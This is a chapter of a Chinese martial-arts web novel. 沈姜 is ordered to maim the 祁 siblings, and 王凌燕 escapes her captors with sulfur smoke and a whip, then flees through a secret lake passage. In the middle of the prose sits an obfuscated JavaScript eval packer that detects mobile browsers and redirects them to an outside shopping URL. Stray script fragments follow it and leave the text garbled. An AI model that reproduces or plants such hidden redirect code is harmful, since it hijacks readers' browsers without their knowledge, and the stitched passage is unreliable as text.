15. 风雨满楼当机立断

作品:《美人燕

    沈姜万万不会想到,祁氏兄妹会与平清王有干系。


    在此之前,他和王凌燕已与平清王达成了交易,平清王即便是派人光明正大地跟着,沈姜也无话可说。


    他想不通平清王为何要暗中收买祁氏兄妹跟踪他们?


    也许,明逢礼的猜测是错的。


    他自诩聪明过人,论起心机手段也不逊于这些惯于阴谋权术的朝廷中人。只是,他一向不屑于玩弄这些手段,如今,四面楚歌,他再不愿与这些人周旋,可是,既已身处漩涡之中,又如何置身事外。


    明逢礼扔给沈姜一把短匕,好整以暇地笑道:“沈郎,你提出的条件,本官已替你完成了,接下来就得看你的忠心了——结绳君子的手和他妹妹的舌头,本官都要。”


    明逢礼的冷血残忍,沈姜早已见怪不怪。


    祁孟巡没了手,结绳君子的名号也便不复存在了;而祁孟芬失去了说话的能力,她那音惑的本事也无用武之地了。


    这一招,不可谓不毒。


    沈姜面无表情地捡起地上的短匕,一步步朝蜷缩在地的兄妹俩走近。


    祁孟芬猛然哑声叫道:“沈姜,你这是过河拆桥!我与大哥从未害过你们,你就这样投靠了他这个惨绝人寰的人渣败类?”


    沈姜迈出的脚步微顿,竟是朝着祁孟芬微微笑了笑:“动手前,我希望你能老实回答我几个问题,我若满意,也能让你们少一些痛苦。”


    祁孟芬犹自恼怒不已,恨恨地将头撇向一旁;而祁孟巡却似乎明白了沈姜这一举止的用意。


    他在拖延时间。


    “你问。”祁孟巡将祁孟芬挡在身后,低声请求道,“不过,我有个条件。我的回答若令你满意,还请看在昔日相识的份上,放芬儿一条生路,我的命,拿去。”


    “大哥!”祁孟芬急急地唤道,眼中已有了泪花,从身后死死地抱着祁孟巡的胳膊,恳求道,“大哥不能丢下芬儿!大哥若没了,芬儿怎么活下去?”


    祁孟巡只是伸手紧紧握住了祁孟芬的手,无畏无惧地迎上沈姜幽沉的目光,大义凛然地道:“你问吧!”


    沈姜见明逢礼朝他笑着点了点头,目光却是肆无忌惮地盯着祁孟芬,道:“这个提议也不错。好好的一个美人若是废了也挺可惜,结绳君子的回答若能令沈郎满意,本官保令妹性命无虞!”


    祁氏兄妹却是对他的话嗤之以鼻,纷纷从鼻子里发出一声轻视的笑。明逢礼不喜地皱眉,正欲开口教训教训这对兄妹,突然有天一阁的黑衣杀手慌慌张张地奔了过来。


    “明大人,山院有变,尊者请您速去议事!”


    明逢礼的脸色倏地一变,本欲开口询问,却转而对沈姜道:“本官返回时,希望能看到沈郎的忠心。”


    王凌燕找不见沈姜的踪影,在院中四处勘察了多次,依旧找不出可悄无声息出去的密道。


    青竹蛇在绿草丛生的庭院里来回穿梭,兴奋地吐着蛇信子。它一路爬到在院中焦急四转的王凌燕脚边,用脑袋去蹭王凌燕的裤脚,蛇嘴里发出“咝——咝——”的声响。


    王凌燕被它的声音吸引,皱着眉头唤了一声:“小青,你有发现?”


    青竹蛇扭动着细长的蛇身再次爬向草丛,王凌燕小心翼翼地跟了过去,发现草丛里竟残留着许多颗粒状的硫磺晶体。


    她若没猜错的话,这些硫磺颗粒是那位何大夫倒掉的废药材。


    王凌燕顿时心生一计,弯腰捧起青竹蛇,回屋取了手巾蒙住口鼻,又找了烛火引燃了院中的枯草纸屑,一股脑儿地扔在了绿草丛中的硫磺堆里。


    阵阵刺鼻的气味熏得她眼中含泪,她赶紧逃离了纵火之地,在院中找了一处隐蔽的藏身之处。


    硫磺燃烧的气味有毒,只要看守院子的守卫吸入这些有毒气体,她趁乱逃离这里,也并非难事。


    沈姜让她沉住气等下去,这样坐以待毙的计策,不是她的作风。


    她必须努力为自己求得生机,不让自己成为明逢礼要挟沈姜的筹码。


    寂静的小院,有蓝色火焰跳动,吸引着最近的两名守卫前来查看情况,其中一人牵着一条狼犬,刺鼻的气味让这条凶悍无比的狼犬迅速倒了下去。


    王凌燕抓准时机,悄无声息地贴近不明所以的两名守卫身后,赤练鞭挥出,紧紧圈住一人的脖子,在那人还未发出声音之际,手腕一用力,便扭断了那人的脖子。而另一名守卫见同伴被袭,厉喝一声,手中的刀来不及挥出,青竹蛇早已爬上他的肩背,一口咬在了他的脖子右侧;他这一分神,王凌燕已是欺身而上,一脚踢掉他手中的刀,手中的赤练鞭已紧紧地缠上了他的脖子。她恁是将人拖拽到燃烧的草丛里,眼看着那人不再挣扎才收回了赤练鞭。


    而这院中打斗的声响已引来了周围守院的黑衣杀手,纷纷亮出手中的武器,将王凌燕团团围住了。


    王凌燕环顾一圈,里里外外四十多号人,个个手持机关弩对准了她。


    此刻,她十分清楚自己的处境。


    要么逃出生天,要么死无全尸。


    她需要等。


    等到这些人吸入院中的毒气,她再动手。


    同时,她也在赌。


    赌这些只知听命于人的杀手,在她未动手之前,不会动手伤她分毫。


    毕竟,明逢礼与天一阁的那位蓝衣尊者需要她来拉拢沈姜。


    “有毒!”


    有一人意识到不对劲,其余人便会生起警惕之心。


    王凌燕看时机已到,再不愿等下去,在众人纷纷意识到不对劲时,他们体内也已摄入了大量的有毒之气。在大片烟雾下,她挥舞着手中的赤练鞭,渐渐杀出了一条血路。而她即使早已用手巾掩住了口鼻,却因在有毒的烟雾之下待得久了一些,竟也感觉有些头晕眼花了。


    眼见身后有弩/箭射来,她拼尽浑身力气向旁跃出一步,又伏地躲过了另一支弩/箭的射击。就近捡起死去的黑衣杀手脚边的机关弩,刷刷两下,弩/箭正中欲偷袭她的黑衣杀手的胸口。


    她不管不顾地从后墙逃出院子,却听到一阵排山倒海的声音由远及近而来,一声声像是重锤击打在她的胸口。


    前有虎,后有狼,她焦急四顾,发现一处荷花盛开的湖水,忙不迭地奔上湖上的石桥,纵身跳进了湖水中。


    她本是为躲避敌人才藏身于湖底,顺着水流游了几丈距离,竟发现前方有一道人影正向自己游来。她本想着掉头离开,对方的身体却如鱼儿一般轻盈自在,不过片刻,她便被那人拦截了。


    她体内本已吸入了少许毒气,在水中更是施展不开手脚,交手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006154|148539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不到几个回合,那年轻男子便轻而易举地制服了她,不住地向她使眼色、摆手势。


    王凌燕看不明白,却从他眼神中得知,此人暂时对自己没有恶意。


    没有多想,在他的引导下,她跟在他身后缓缓向前游动,竟意外发现湖水深处有一道石门。而这石门被水底的水草掩盖,若非钻进这厚厚的水草里,根本难以发现此处机密。


    这条藏于湖底的密道宽敞却漆黑,王凌燕顺着石门跳下,便感觉一阵透骨的凉意侵入皮肤,耳边萦绕着哗哗的水流声,密道内纵横交错的水渠正是引进了那片湖的水流。


    她此时不得不感慨,明逢礼手底下的能人异士还挺多。


    石壁潮湿幽冷,王凌燕唯恐触动了密道中的机关,不敢随便触碰。


    在这黑不溜秋的密道里,王凌燕不敢分心,双目紧紧盯着在前方探路的人,突然眼前一亮,却是那人从衣襟内掏出了一颗夜明珠,照得他的脸苍白而冷峻。


    她不认识他。


    王凌燕警惕地问道:“你是何人?”


    “反正不是敌人。”他举着夜明珠在前探路,见王凌燕未跟上来,便转过脑袋催促道,“走不走啊?再不走,天一阁的人追来可就走不了了!”


    眼下,王凌燕也只能走一步算一步。而她走近才发现他左臂的衣衫上用红色丝线绣着一枚大大的“祁”字。


    祁门的开派始祖乃是一名祁姓的落魄秀才,因秀才天性仁慈,收养了许多无家可归的的孤儿孤女,本地的一名富商敬重他的菩萨心肠,倾尽家产为他开门建派,请了文武先生为这些孤儿习武说经。因祁门中人多是苦寒之人,唯一的主张便是“劫富济贫”,竟渐渐地成了江湖中的一大门派。


    因祁门始祖爱洁净,只穿白衣,门中人争相效仿。从此,白衣装束便成了祁门门人的门派服装,几十年未变。


    穿白衣者众多,但穿上绣有“祁”字的白衣人士便只有祁门中人了。


    “祁门的人?”王凌燕不禁脱口而出,“祁门的人来此做什么?”


    “来寻回门中叛逃的一对兄妹。”男子在前探着路,忽偏头靠近王凌燕,笑道,“最重要的……自然是来一场英雄救美的故事啊!”


    王凌燕一听对方这轻佻的言语,怒从心生,挥出一掌,对方立马躲过。她收了掌,冷冷地看着他,道:“最好把嘴巴放干净点!”


    男子摇头叹息:“祁门与你们金钩门好歹也有些同道情谊,我们劫富济贫,你们偷天换日,同样是为了心中的大义,何必见面便水火不容呢?”


    王凌燕不想与旁人谈起金钩门的一切,漠然地看了他一眼,便朝着密道深处走去。


    “我叫祁兴!”


    王凌燕淡淡地瞟了一眼跟上来的人,只轻轻地应了一声,便不再说话。


    祁兴并不在意王凌燕的冷脸,笑着问了一句:“你真的不想听听我这个英雄的救美故事么?”


    王凌燕不理他,他索性自顾自地说了起来:“我呢,在此潜伏了好几个昼夜,终于等到明逢礼出去了,这才带着候在山中的门人冲了进来。本想救你的,谁知你自己倒逃了出来,害我……”


    “等等!”王凌燕越听越心惊,连忙开口打断了他的话,紧紧地盯着他,问道,“你说来此是为了救我……什么意思?”